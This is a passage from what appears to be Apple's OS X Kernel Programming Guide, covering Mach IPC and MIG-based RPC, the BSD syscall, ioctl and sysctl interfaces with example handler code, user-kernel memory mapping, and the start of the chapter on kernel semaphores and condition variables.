bandwidth or exceptionally low latency. If you are writing code that resides anywhere else, you will probably have to use Mach messaging. Bandwidth and Latency The guidelines in the previous section apply to most communication between applications and kernel code. The methods mentioned, however, are somewhat lacking where high bandwidth or low latency are concerns. If you require high bandwidth, but latency is not an issue, you should probably consider doing memory-mapped communication. For large messagesthisis handled somewhat transparently by Mach RPC, making it a reasonable choice. For BSD portions of the kernel, however, you must explicitly pass pointers and use copyin and copyout to move large quantities of data. Thisis discussed in more detail in “Memory Mapping and Block Copying” (page 125). Boundary Crossings Choosing a Boundary Crossing Method 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 111If you require low latency but bandwidth is not an issue, sysctl and syscall are not good choices. Mach RPC, however, may be an acceptable solution. Another possibility is to actually wire a page of memory (see “Memory Mapping and Block Copying” (page 125) for details),start an asynchronous Mach RPC simpleroutine (to process the data), and use either locks or high/low water marks (buffer fullness) to determine when to read and write data. This can work for high-bandwidth communication as well. If you require both high bandwidth and low latency, you should also look at the user client/device interface model used in the I/O Kit, since that model has similar requirements. Mach Messaging and Mach Interprocess Communication (IPC) Mach IPC and Mach messaging are the basis for much of the communication in OS X. In many cases, however, these facilities are used indirectly by services implemented on top of one of them. Mach messaging and IPC are fundamentally similar except that Mach messaging is stateless, which prevents certain types of error recovery, as explained later. Except where explicitly stated, this section treats the two as equivalent. The fundamental unit of Mach IPC isthe port. The concept of Mach ports can be difficult to explain in isolation, so instead this section assumes a passing knowledge of a similar concept, that of ports in TCP/IP. In TCP/IP, a server listens for incoming connections over a network on a particular port. Multiple clients can connect to the port and send and receive data in word-sized or multiple-word–sized blocks. However, only one server process can be bound to the port at a time. In Mach IPC, the concept is the same, but the players are different. Instead of multiple hosts connecting to a TCP/IP port, you have multiple Mach tasks on the same computer connecting to a Mach port. Instead of firewall rules on a port, you have port rights that specify what tasks can send data to a particular Mach port. Also, TCP/IP ports are bidirectional, while Mach ports are unidirectional, much like UNIX pipes. This means that when a Mach task connects to a port, it generally allocates a reply port and sends a message containing send rights to that reply port so that the receiving task can send messages back to the sending task. As with TCP/IP, multiple client tasks can open connections to a Mach port, but only one task can be listening on that port at a time. Unlike TCP/IP, however, the IPC mechanism itself provides an easy means for one task to hand off the right to listen to an arbitrary task. The term receive rights refers to a task’s ability to listen on a given port. Receive rights can be sent from task to task in a Mach message. In the case of Mach IPC (but not Mach messaging), receive rights can even be configured to automatically return to the original task if the new task crashes or becomes unreachable (for example, if the new task isrunning on another computer and a router crashes). Boundary Crossings Mach Messaging and Mach Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 112In addition to specifying receive rights, Mach ports can specify which tasks have the right to send data. A task with send rights may be able to send once, or may be able to arbitrarily send data to a given port, depending on the nature of the rights. Using Well-Defined Ports Before you can use Mach IPC for task communication, the sending task must be able to obtain send rights on the receiving task’s task port. Historically, there are several ways of doing this, not all of which are supported by OS X. For example, in OS X, unlike most other Mach derivatives, there is no service server or name server. Instead, the bootstrap task and mach_init subsume this functionality. When a task is created, it is given send rights to a bootstrap port for sending messages to the bootstrap task. Normally a task would use this port to send a message that gives the bootstrap task send rights on another port so that the bootstrap task can then return data to the calling task. Various routines exist in bootstrap.h that abstract this process. Indeed, most users of Mach IPC or Mach messaging actually use Mach remote procedure calls (RPC), which are implemented on top of Mach IPC. Since direct use of IPC is rarely desirable (because it is not easy to do correctly), and because the underlying IPC implementation has historically changed on a regular basis, the details are not covered here. You can find more information on using Mach IPC directly in the Mach 3 Server Writer’s Guide from Silicomp (formerly the Open Group, formerly the Open Software Foundation Research Institute), which can be obtained from the developer section of Apple’s website. While much of the information contained in that book is not fully up-to-date with respect to OS X, it should still be a relatively good resource on using Mach IPC. Remote Procedure Calls (RPC) Mach RPC is the most common use for Mach IPC. It is frequently used for user-kernel communication, but can also be used for task to task or even computer-to-computer communication. Programmers frequently use Mach RPC for setting certain kernel parameters such as a given thread’s scheduling policy. RPC is convenient because it is relatively transparent to the programmer. Instead of writing long, complex functionsthat handle ports directly, you have only to write the function to be called and a small RPC definition to describe how to export the function as an RPC interface. After that, any application with appropriate permissions can call those functions as if they were local functions, and the compiler will convert them to RPC calls. In the directory osfmk/mach (relative to your checkout of the xnu module from CVS), there are a number of files ending in .defs; these files contain the RPC definitions. When the kernel (or a kernel module) is compiled, the Mach Interface Generator(MIG) usesthese definitionsto create IPC code to support the functions exported via RPC. Normally, if you want to add a new remote procedure call, you should do so by adding a definition to one of these existing files. (See “Building and Debugging Kernels” (page 155) for more information on obtaining kernel sources.) Boundary Crossings Mach Messaging and Mach Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 113What follows is an example of the definition for a routine, one of the more common uses of RPC. routine thread_policy_get( thread : thread_act_t; flavor : thread_policy_flavor_t; out policy_info : thread_policy_t, CountInOut; inout get_default : boolean_t); Notice the C-like syntax of the definition. Each parameter in the routine roughly maps onto a parameter in the C function. The C prototype for this function follows. kern_return_t thread_policy_get( thread_act_t act, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t *count, boolean_t get_default); The first two parameters are integers, and are passed as call-by-value. The third is a struct containing integers. It is an outgoing parameter, which means that the values stored in that variable will not be received by the function, but will be overwritten on return. Note: The parameters are all word-sized or multiples of the word size. Smaller data are impossible because of limitations inherent to the underlying Mach IPC mechanisms. From there it becomes more interesting. The fourth parameter in the C prototype is a representation of the size of the third. In the definition file, this is represented by an added option, CountInOut. The MIG option CountInOut specifies that there is to be an inout parameter called count. An inout parameter is one in which the original value can be read by the function being called, and its value is replaced on return from that function. Unlike a separate inout parameter, however, the value initially passed through this parameter is not directly set by the calling function. Instead, it is tied to the policy_info parameter so that the number of integers in policy_info is transparently passed in through this parameter. Boundary Crossings Mach Messaging and Mach Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 114In the function itself, the function checks the count parameter to verify that the buffer size is at least the size of the data to be returned to prevent exceeding array bounds. The function changes the value stored in count to be the desired size and returns an error if the buffer is not large enough (unless the buffer pointer is null, in which case it returns success). Otherwise, it dereferences the various fields of the policy_info parameter and in so doing, stores appropriate values into it, then returns. Note: Since Mach RPC is done via message passing, inout parameters are technically call-by-value-return and not call-by-reference. For more realistic call-by-reference, you need to pass a pointer. The distinction is not particularly significant except when aliasing occurs. (Aliasing means having a single variable visible in the same scope under two or more different names.) In addition to the routine, Mach RPC also has a simpleroutine. A simpleroutine is a routine that is, by definition, asynchronous. It can have no out or inout parameters and no return value. The caller does not wait for the function to return. One possible use for this might be to tell an I/O device to send data as soon as it is ready. In that use, the simpleroutine might simply wait for data, then send a message to the calling task to indicate the availability of data. Another important feature of MIG is that of the subsystem. In MIG, a subsystem is a group of routines and simpleroutines that are related in some way. For example, the semaphore subsystem contains related routinesthat operate on semaphores. There are also subsystemsfor varioustimers, parts of the virtual memory (VM) system, and dozens of others in various places throughout the kernel. Most of the time, if you need to use RPC, you will be doing it within an existing subsystem. The details of creating a new subsystem are beyond the scope of this document. Developers needing to add a new Mach subsystem should consult the Mach 3 ServerWriter’s Guide from The Open Group (TOG), which can be obtained from various locations on the internet. Another feature of MIG is the type. A type in MIG is exactly the same thing as it is in programming languages. However, the construction of aggregate types differs somewhat. type clock_flavor_t = int; type clock_attr_t = array[*:1] of int; type mach_timespec_t = struct[2] of int; Data of type array is passed as the user-space address of what is assumed to be a contiguous array of the base type, while a struct is passed by copying all of the individual values of an array of the base type. Otherwise, these are treated similarly. A “struct” is not like a C struct, as elements of a MIG struct must all be of the same base type. Boundary Crossings Mach Messaging and Mach Interprocess Communication (IPC) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 115The declaration syntax issimilar to Pascal, where *:1 and 2 representsizesfor the array orstructure, respectively. The *:1 construct indicates a variable-sized array, where the size can be up to 1, inclusive, but no larger. Calling RPC From User Applications RPC, as mentioned previously, is virtually transparent to the client. The procedure call looks like any other C function call, and no additional library linkage is needed. You need only to bring the appropriate headers in with a #include directive. The compiler automatically recognizes the call as a remote procedure call and handles the underlying MIG aspects for you. BSD syscall API The syscall API is the traditional UNIX way of calling kernel functions from user space. Its implementation variesfrom one part of the kernel to the next, however, and it is completely unsupported for loadable modules. For this reason, it is not a recommended way of getting data into or out of the kernel in OS X unless you are writing a file system. File systems have to support a number of standard system calls (for example, mount), but do so by means of generic file system routinesthat call the appropriate file-system functions. Thus, if you are writing a file system, you need to implement those functions, but you do not need to write the code that handles the system calls directly. For more information on implementing syscall support in file systems,see the chapter “File Systems Overview” (page 106). BSD ioctl API The ioctl interface provides a way for an application to send certain commands or information to a device driver. These can be used for parameter tuning (though this is more commonly done with sysctl), but can also be used for sending instructions for the driver to perform a particular task (for example, rewinding a tape drive). The use of the ioctl interface is essentially the same under OS X as it is in other BSD-derived operating systems, except in the way that device drivers register themselves with the system. In OS X, unlike most BSDs, the contents of the /dev directory are created dynamically by the kernel. This file system mounted on /dev is referred to as devfs. You can, of course, still manually create device nodes with mknod, because devfs is union mounted over the root file system. Boundary Crossings BSD syscall API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 116The I/O Kit automatically registers some types of devices with devfs, creating a node in /dev. If your device family does not do that, you can manually register yourself in devfs using cdevsw_add or bdevsw_add (for character and block devices, respectively). When registering a device manually with devfs, you create a struct cdevsw or struct bdevsw yourself. In that device structure, one of the function pointers is to an ioctl function. You must define the particular values passed to the ioctl function in a header file accessible to the person compiling the application. A user application can also look up the device using the I/O Kit function call getMatchingServices and then use various I/O Kit calls to tune parameter instead. For more information on looking up a device driver from an application, see the document Accessing Hardware From Applications. You can also find additional information about writing an ioctl in The Design and Implementation of the 4.4 BSD Operating System. See the bibliography at the end of this document for more information. BSD sysctl API The system control (sysctl) API is specifically designed for kernel parameter tuning. This functionality supersedesthe syscall API, and also provides an easy way to tune simple kernel parameters without actually needing to write a handler routine in the kernel. The sysctl namespace is divided into several broad categories corresponding to the purpose of the parameters in it. Some of these areas include ● kern—general kernel parameters ● vm—virtual memory options ● fs—filesystem options ● machdep—machine dependent settings ● net—network stack settings ● debug—debugging settings ● hw—hardware parameters (generally read-only) ● user—parameters affecting user programs ● ddb—kernel debugger Most of the time, programs use the sysctl call to retrieve the current value of a kernel parameter. For example, in OS X, the hw sysctl group includesthe option ncpu, which returnsthe number of processorsin the current computer (or the maximum number of processors supported by the kernel on that particular computer, whichever is less). Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 117The sysctl API can also be used to modify parameters (though most parameters can only be changed by the root). For example, in the net hierarchy, net.inet.ip.forwarding can be set to 1 or 0, to indicate whether the computer should forward packets between multiple interfaces (basic routing). General Information on Adding a sysctl When adding a sysctl, you must do all of the following first: ● add the following includes: #include #include #include #include ● add -no-cpp-precomp to your compiler options in Project Builder (or to CFLAGS in your makefile if building by hand). Adding a sysctl Procedure Call Adding a system control (sysctl) was once a daunting task requiring changes to dozens of files. With the current implementation, a system control can be added simply by writing the appropriate handler functions and then registering the handler with the system at runtime. The old-style sysctl, which used fixed numbers for each control, is deprecated. Note: Because this is largely a construct of the BSD subsystem, all path names in this section can be assumed to be from /path/to/xnu-version/bsd/. Also, you may safely assume that all program code snippets should go into the main source file for your subsystem or module unless otherwise noted, and that in the case of modules, function calls should be made from your start or stop routines unless otherwise noted. The preferred way of adding a sysctl looks something like the following: SYSCTL_PROC(_hw, OID_AUTO, l2cr, CTLTYPE_INT|CTLFLAG_RW, &L2CR, 0, &sysctl_l2cr, "I", "L2 Cache Register"); Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 118The _PROC part indicates that you are registering a procedure to provide the value (as opposed to simply reading from a static address in kernel memory). _hw is the top level category (in this case, hardware), and OID_AUTO indicates that you should be assigned the next available control ID in that category (as opposed to the old-style, fixed ID controls). l2cr is the name of your control, which will be used by applications to look up the number of your control using sysctlbyname. Note: Not all top level categories will necessarily accept the addition of a user-specified new-style sysctl. If you run into problems, you should try a different top-level category. CTLTYPE_INT indicates that the value being changed is an integer. Other legal values are CTLTYPE_NODE, CTLTYPE_STRING, CTLTYPE_QUAD, and CTLTYPE_OPAQUE (also known as CTLTYPE_STRUCT). CTLTYPE_NODE isthe only one that isn’tsomewhat obvious. It refersto a node in the sysctl hierarchy that isn’t directly usable, but instead is a parent to other entries. Two examples of nodes are hw and kern. CTLFLAG_RW indicatesthat the value can be read and written.Other legal values are CTLFLAG_RD, CTLFLAG_WR, CTLFLAG_ANYBODY, and CTLFLAG_SECURE. CTLFLAG_ANYBODY means that the value should be modifiable by anybody. (The default is for variables to be changeable only by root.) CTLFLAG_SECURE means that the variable can be changed only when running at securelevel <= 0 (effectively, in single-user mode). L2CR is the location where the sysctl will store its data. Since the address is set at compile time, however, this must be a global variable or a static local variable. In this case, L2CR is a global of type unsigned int. The number 0 is a second argument that is passed to your function. This can be used, for example, to identify which sysctl was used to call your handler function if the same handler function is used for more than one control. In the case of strings, this is used to store the maximum allowable length for incoming values. sysctl_l2cr is the handler function for this sysctl. The prototype for these functions is of the form static int sysctl_l2cr SYSCTL_HANDLER_ARGS; If the sysctl is writable, the function may either use sysctl_handle_int to obtain the value passed in from user space and store it in the default location or use the SYSCTL_IN macro to store it into an alternate buffer. This function must also use the SYSCTL_OUT macro to return a value to user space. "I" indicates that the argument should refer to a variable of type integer (or a constant, pointer, or other piece of data of equivalent width), as opposed to "L" for a long, "A" for a string, "N" for a node (a sysctl that is the parent of a sysctl category or subcategory), or "S" for a struct. "L2 Cache Register" is a human-readable description of your sysctl. In order for a control to be accessible from an application, it must be registered. To do this, you do the following: Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 119sysctl_register_oid(&sysctl__hw_l2cr); You should generally do this in an init routine for a loadable module. If your code is not part of a loadable module, you should add your sysctl to the list of built-in OIDs in the file kern/sysctl_init.c. If you study the SYSCTL_PROC constructor macro, you will notice that sysctl__hw_l2cr is the name of a variable created by that macro. This meansthat the SYSCTL_PROC line must be before sysctl_register_oid in the file, and must be in the same (or broader) scope. This name is in the form of sysctl_ followed by the name of it’s parent node, followed by another underscore ( _ ) followed by the name of your sysctl. A similar function, sysctl_unregister_oid exists to remove a sysctl from the registry. If you are writing a loadable module, you should be certain to do this when your module is unloaded. In addition to registering your handler function, you also have to write the function. The following is a typical example static int myhandler SYSCTL_HANDLER_ARGS { int error, retval; error = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req); if (!error && req->newptr) { /* We have a new value stored in the standard location.*/ /* Do with it as you see fit here. */ printf("sysctl_test: stored %d\n", SCTEST); } else if (req->newptr) { /* Something was wrong with the write request */ /* Do something here if you feel like it.... */ } else { /* Read request. Always return 763, just for grins. */ printf("sysctl_test: read %d\n", SCTEST); retval=763; error=SYSCTL_OUT(req, &retval, sizeof retval); } /* In any case, return success or return the reason for failure */ return error; Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 120} This demonstrates the use of SYSCTL_OUT to send an arbitrary value out to user space from the sysctl handler. The “phantom” req argument is part of the function prototype when the SYSCTL_HANDLER_ARGS macro is expanded, as is the oidp variable used elsewhere. The remaining arguments are a pointer (type indifferent) and the length of data to copy (in bytes). This code sample also introduces a new function, sysctl_handle_int, which takes the arguments passed to the sysctl, and writes the integer into the usual storage area (L2CR in the earlier example, SCTEST in this one). If you want to see the new value without storing it (to do a sanity check, for example), you should instead use the SYSCTL_IN macro, whose arguments are the same as SYSCTL_OUT. Registering a New Top Level sysctl In addition to adding new sysctl options, you can also add a new category or subcategory. The macro SYSCTL_DECL can be used to declare a node that can have children. This requires modifying one additional file to create the child list. For example, if your main C file does this: SYSCTL_DECL(_net_newcat); SYSCTL_NODE(_net, OID_AUTO, newcat, CTLFLAG_RW, handler, "new category"); then this is basically the same thing as declaring extern sysctl_oid_list sysctl__net_newcat_children in your program. In order for the kernel to compile, or the module to link, you must then add this line: struct sysctl_oid_list sysctl__net_newcat_children; If you are not writing a module, this should go in the file kern/kern_newsysctl.c. Otherwise, it should go in one of the files of your module. Once you have created this variable, you can use _net_newcat as the parent when creating a new control. As with any sysctl, the node (sysctl__net_newcat) must be registered with sysctl_register_oid and can be unregistered with sysctl_unregister_oid. Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 121Note: When creating a top level sysctl, parent is simply left blank, for example, SYSCTL_NODE( , OID_AUTO, _topname, flags, handler_fn, "desc"); Adding a Simple sysctl If your sysctl only needsto read a value out of a variable, then you do not need to write a function to provide access to that variable. Instead, you can use one of the following macros: ● SYSCTL_INT(parent, nbr, name, access, ptr, val, descr) ● SYSCTL_LONG(parent, nbr, name, access, ptr, descr) ● SYSCTL_STRING(parent, nbr, name, access, arg, len, descr) ● SYSCTL_OPAQUE(parent, nbr, name, access, ptr, len, descr) ● SYSCTL_STRUCT(parent, nbr, name, access, arg, type, descr) The first four parameters for each macro are the same as for SYSCTL_PROC (described in the previous section) as is the last parameter. The len parameter (where applicable) gives a length of the string or opaque object in bytes. The arg parameters are pointersjust like the ptr parameters. However, the parameters named ptr are explicitly described as pointers because you must explicitly use the “address of” (&) operator unless you are already working with a pointer. Parameters called arg either operate on base types that are implicitly pointers or add the & operator in the appropriate place during macro expansion. In both cases, the argument should refer to the integer, character, or other object that the sysctl will use to store the current value. The type parameter is the name of the type minus the “struct”. For example, if you have an object of type struct scsipi, then you would use scsipi as that argument. The SYSCTL_STRUCT macro is functionally equivalent to SYSCTL_OPAQUE, except that it hides the use of sizeof. Finally, the val parameter for SYSCTL_INT is a default value. If the value passed in ptr is NULL, this value is returned when the sysctl is used. You can use this, for example, when adding a sysctl that is specific to certain hardware or certain compile options. One possible example of this might be a special value for feature.version that means “not present.” If that feature became available (for example, if a module were loaded by some user action), it could then update that pointer. If that module were subsequently unloaded, it could set the pointer back to NULL. Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 122Calling a sysctl From User Space Unlike RPC, sysctl requires explicit intervention on the part of the programmer. To complicate thingsfurther, there are two different ways of calling sysctl functions, and neither one worksfor every control. The old-style sysctl call can only invoke a control if it is listed in a static OID table in the kernel. The new-style sysctlbyname call will work for any user-added sysctl, but not for those listed in the static table. Occasionally, you will even find a control that isregistered in both ways, and thus available to both calls. In order to understand the distinction, you must first consider the functions used. The sysctlbyname System Call If you are calling a sysctl that was added using the new sysctl method (including any sysctl that you may have added), then your sysctl does not have a fixed number that identifies it, since it was added dynamically to the system. Since there is no approved way to get this number from user space, and since the underlying implementation is not guaranteed to remain the same in future releases, you cannot call a dynamically added control using the sysctl function. Instead, you must use sysctlbyname. sysctlbyname(char *name, void *oldp, size_t *oldlenp, void *newp, u_int newlen) The parameter name is the name of the sysctl, encoded as a standard C string. The parameter oldp is a pointer to a buffer where the old value will be stored. The oldlenp parameter is a pointer to an integer-sized buffer that holds the current size of the oldp buffer. If the oldp buffer is not large enough to hold the returned data, the call will fail with errno set to ENOMEM, and the value pointed to by oldlenp will be changed to indicate the buffer size needed for a future call to succeed. Here is an example for reading an integer, in this case a buffer size. int get_debug_bufsize() { char *name="debug.bpf_bufsize"; int bufsize, retval; size_t len; len=4; retval=sysctlbyname(name, &bufsize, &len, NULL, 0); /* Check retval here */ return bufsize; } Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 123The sysctl System Call The sysctlbyname system call is the recommended way to call system calls. However, not every built-in system control is registered in the kernel in such a way that it can be called with sysctlbyname. For this reason, you should also be aware of the sysctl system call. Note: If you are adding a sysctl, it will be accessible using sysctlbyname. You should use this system call only if the sysctl you need cannot be retrieved using sysctlbyname. In particular, you should not assume that future versions of sysctl will be backed by traditional numeric OIDs except for the existing legacy OIDs, which will be retained for compatibility reasons. The sysctl system call is part of the original historical BSD implementation of system controls. You should not depend on its use for any control that you might add to the system. The classic usage of sysctl looks like the following sysctl(int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, u_int newlen) System controls, in this form, are based on the MIB, or Management Information Base architecture. A MIB is a list of objects and identifiers for those objects. Each object identifier, or OID, is a list of integers that represent a tokenization of a path through the sysctl tree. For example, if the hw class of sysctl is number 3, the first integer in the OID would be the number 3. If the l2cr option is built into the system and assigned the number 75, then the second integer in the OID would be 75. To put it another way, each number in the OID is an index into a node’s list of children. Here is a short example of a call to get the bus speed of the current computer: int get_bus_speed() { int mib[2], busspeed, retval; unsigned int miblen; size_t len; mib[0]=CTL_HW; mib[1]=HW_BUS_FREQ; miblen=2; len=4; retval=sysctl(mib, miblen, &busspeed, &len, NULL, 0); Boundary Crossings BSD sysctl API 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 124/* Check retval here */ return busspeed; } For more information on the sysctl system call, see the manual page sysctl. Memory Mapping and Block Copying Memory mapping is one of the more common means of communicating between two applications or between an application and the kernel. While occasionally used by itself, it is usually used in conjunction with one of the other means of boundary crossing. One way of using memory mapping is known as shared memory. In this form, one or more pages of memory are mapped into the address space of two processes. Either process can then access or modify the data stored in those shared pages. This is useful when moving large quantities of data between processes, as it allows direct communication without multiple user-kernel boundary crossings. Thus, when moving large amounts of data between processes, this is preferable to traditional message passing. The same holds true with memory mapping between an application and the kernel. The BSD sysctl and syscall interfaces (and to an extent, Mach IPC) were designed to transfer small units of data of known size, such as an array of four integers. In this regard, they are much like a traditional C function call. If you need to pass a large amount of data to a function in C, you should pass a pointer. This is also true when passing data between an application and the kernel, with the addition of memory mapping or copying to allow that pointer to be dereferenced in the kernel. There are a number of limitations to the way that memory mapping can be used to exchange data between an application and the kernel. For one, memory allocated in the kernel cannot be written to by applications, including those running as root (unless the kernel is running in an insecure mode, such as single user mode). For this reason, if a buffer must be modified by an application, the buffer must be allocated by that program, not by the kernel. When you use memory mapping for passing data to the kernel, the application allocates a block of memory and fillsit with data. It then performs a system call that passesthe addressto the appropriate function in kernel space. It should be noted, however, that the address being passed is a virtual address, not a physical address, and more importantly, it is relative to the address space of the program, which is not the same as the address space of the kernel. Since the address is a user-space virtual address, the kernel must call special functions to copy the block of memory into a kernel buffer or to map the block of memory into the kernel’s address space. Boundary Crossings Memory Mapping and Block Copying 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 125In the OS X kernel, data is most easily copied into kernel space with the BSD copyin function, and back out to user space with the copyout function. For large blocks of data, entire pages will be memory mapped using copy-on-write. For this reason, it is generally not useful to do memory mapping by hand. Getting data from the kernel to an application can be done in a number of ways. The most common method is the reverse of the above, in which the application passes in a buffer pointer, the kernel scribbles on a chunk of data, uses copyout to copy the buffer data into the address space of the application, and returns KERN_SUCCESS. Note that this is really using the buffer allocated in the application, even though the physical memory may have actually been allocated by the kernel. Assuming the kernel frees its reference to the buffer, no memory is wasted. A special case of memory mapping occurs when doing I/O to a device from user space. Since I/O operations can, in some cases, be performed by DMA hardware that operates based on physical addressing, it is vital that the memory associated with I/O buffers not be paged out while the hardware is copying data to or from the buffer. For this reason, when a driver or other kernel entity needs a buffer for I/O, it must take steps to mark it as not pageable. This step is referred to as wiring the pages in memory. Wiring pages into memory can also be helpful where high bandwidth, low latency communication is desired, as it prevents shared buffers from being paged out to disk. In general, however, this sort of workaround should be unnecessary, and is considered to be bad programming practice. Pages can be wired in two ways. When a memory region is allocated, it may be allocated in a nonpageable fashion. The details of allocating memory for I/O differ, depending on what part of the kernel you are modifying. This is described in more detail in the appropriate sections of this document, or in the case of the I/O Kit, in the API reference documentation (available from the developer section of Apple’s web site). Alternately, individual pages may be wired after allocation. The recommended way to do this is through a call to vm_wire in BSD parts of the kernel, with mlock from applications (but only by processes running as root), or with IOMemoryDescriptor::prepare in the I/O Kit. Because this can fail for a number of reasons, it is particularly crucial to check return values when wiring memory. The vm_wire call and other virtual memory topics are discussed in more detail in “Memory and Virtual Memory” (page 61). The IOMemoryDescriptor class is described in more detail in the I/O Kit API reference available from the developer section of Apple’s web site. Boundary Crossings Memory Mapping and Block Copying 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 126Summary Crossing the user-kernel boundary is not a trivial task. Many mechanisms exist for this communication, and each one has specific advantages and disadvantages, depending on the environment and bandwidth requirements. Security is a constant concern to prevent inadvertently allowing one program to access data or files from another program or user. It is every kernel programmer’s personal responsibility to take security into account any time that data crosses the user-kernel boundary. Boundary Crossings Summary 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 127This chapter is not intended as an introduction to synchronization. It is assumed that you have some understanding of the basic concepts of locks and semaphores already. If you need additional background reading,synchronization is covered in most introductory operating systemstexts. However,since synchronization in the kernel is somewhat different from locking in an application this chapter does provide a brief overview to help ease the transition, or for experienced kernel developers, to refresh your memory. As an OS X kernel programmer, you have many choices of synchronization mechanisms at your disposal. The kernel itself provides two such mechanisms: locks and semaphores. A lock is used for basic protection of shared resources. Multiple threads can attempt to acquire a lock, but only one thread can actually hold it at any given time (at least for traditional locks—more on this later). While that thread holds the lock, the other threads must wait. There are several different types of locks, differing mainly in what threads do while waiting to acquire them. A semaphore is much like a lock, except that a finite number of threads can hold itsimultaneously. Semaphores can be thought of as being much like piles of tokens. Multiple threads can take these tokens, but when there are none left, a thread must wait until another thread returns one. It is important to note that semaphores can be implemented in many different ways,so Mach semaphores may not behave in the same way assemaphores on other platforms. In addition to locks and semaphores, certain low-level synchronization primitives like test and set are also available, along with a number of other atomic operations. These additional operations are described in libkern/gen/OSAtomicOperations.c in the kernelsources. Such atomic operations may be helpful if you do not need something asrobust as a full-fledged lock orsemaphore. Since they are not generalsynchronization mechanisms, however, they are beyond the scope of this chapter. Semaphores Semaphores and locks are similar, except that with semaphores, more than one thread can be doing a given operation at once. Semaphores are commonly used when protecting multiple indistinct resources. For example, you might use a semaphore to prevent a queue from overflowing its bounds. OS X uses traditional counting semaphores rather than binary semaphores (which are essentially locks). Mach semaphores obey Mesa semantics—that is, when a thread is awakened by a semaphore becoming available, it is not executed immediately. This presents the potential for starvation in multiprocessor situations when the 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 128 Synchronization Primitivessystem is under low overall load because other threads could keep downing the semaphore before the just-woken thread gets a chance to run. This is something that you should consider carefully when writing applications with semaphores. Semaphores can be used any place where mutexes can occur. This precludes their use in interrupt handlers or within the context of the scheduler, and makes it strongly discouraged in the VM system. The public API for semaphores is divided between the MIG–generated task.h file (located in your build output directory, included with #include ) and osfmk/mach/semaphore.h (included with #include ). The public semaphore API includes the following functions: kern_return_t semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value) kern_return_t semaphore_signal(semaphore_t semaphore) kern_return_t semaphore_signal_all(semaphore_t semaphore) kern_return_t semaphore_wait(semaphore_t semaphore) kern_return_t semaphore_destroy(task_t task, semaphore_t semaphore) kern_return_t semaphore_signal_thread(semaphore_t semaphore, thread_act_t thread_act) which are described in or xnu/osfmk/mach/semaphore.h (except for create and destroy, which are described in . The use of these functions is relatively straightforward with the exception of the semaphore_create, semaphore_destroy, and semaphore_signal_thread calls. The value and semaphore parametersfor semaphore_create are exactly what you would expect—a pointer to the semaphore structure to be filled out and the initial value for the semaphore, respectively. The task parameter refers to the primary Mach task that will “own” the lock. This task should be the one that is ultimately responsible for the subsequent destruction of the semaphore. The task parameter used when calling semaphore_destroy must match the one used when it was created. For communication within the kernel, the task parameter should be the result of a call to current_task. For synchronization with a user process, you need to determine the underlying Mach task for that process by calling current_task on the kernel side and mach_task_self on the application side. task_t current_task(void); // returns the kernel task port task_t mach_task_self(void);// returns the task port of the current thread Synchronization Primitives Semaphores 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 129Note: In the kernel, be sure to always use current_task. In the kernel, mach_task_self returns a pointer to the kernel’s VM map, which is probably not what you want. The details of user-kernel synchronization are beyond the scope of this document. The policy parameter is passed asthe policy for the wait queue contained within the semaphore. The possible values are defined in osfmk/mach/sync_policy.h. Current possible values are: ● SYNC_POLICY_FIFO ● SYNC_POLICY_FIXED_PRIORITY ● SYNC_POLICY_PREPOST The FIFO policy is, asthe name suggests, first-in-first-out. The fixed priority policy causes wait queue reordering based on fixed thread priority policies. The prepost policy causes the semaphore_signal function to not increment the counter if no threads are waiting on the queue. This policy is needed for creating condition variables (where a thread is expected to always wait until signalled). See the section “Wait Queues and Wait Primitives” (page 87) for more information. The semaphore_signal_thread call takes a particular thread from the wait queue and places it back into one of the scheduler’s wait-queues, thus making that thread available to be scheduled for execution. If thread_act is NULL, the first thread in the queue is similarly made runnable. With the exception of semaphore_create and semaphore_destroy, these functions can also be called from user space via RPC. See “Calling RPC From User Applications” (page 116) for more information. Condition Variables The BSD portion of OS X provides msleep, wakeup, and wakeup_one, which are equivalent to condition variables with the addition of an optional time-out. You can find these functions in sys/proc.h in the Kernel framework headers. msleep(void *channel, lck_mtx_t *mtx, int priority, const char *wmesg, struct timespec *timeout); msleep0(vvoid *channel, lck_mtx_t *mtx, int priority, const char *wmesg, uint64_t deadline); wakeup(void *channel); wakeup_one(void *channel); Synchronization Primitives Condition Variables 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 130The msleep call is similar to a condition variable. It puts a thread to sleep until wakeup or wakeup_one is called on that channel. Unlike a condition variable, however, you can set a timeout measured in clock ticks. This means that it is both a synchronization call and a delay. The prototypes follow: msleep(void *channel, lck_mtx_t *mtx, int priority, const char *wmesg, struct timespec *timeout); msleep0(vvoid *channel, lck_mtx_t *mtx, int priority, const char *wmesg, uint64_t deadline); wakeup(void *channel); wakeup_one(void *channel); The three sleep calls are similar except in the mechanism used for timeouts. The function msleep0 is not recommended for general use. In these functions, channel is a unique identifier representing a single condition upon which you are waiting. Normally, when 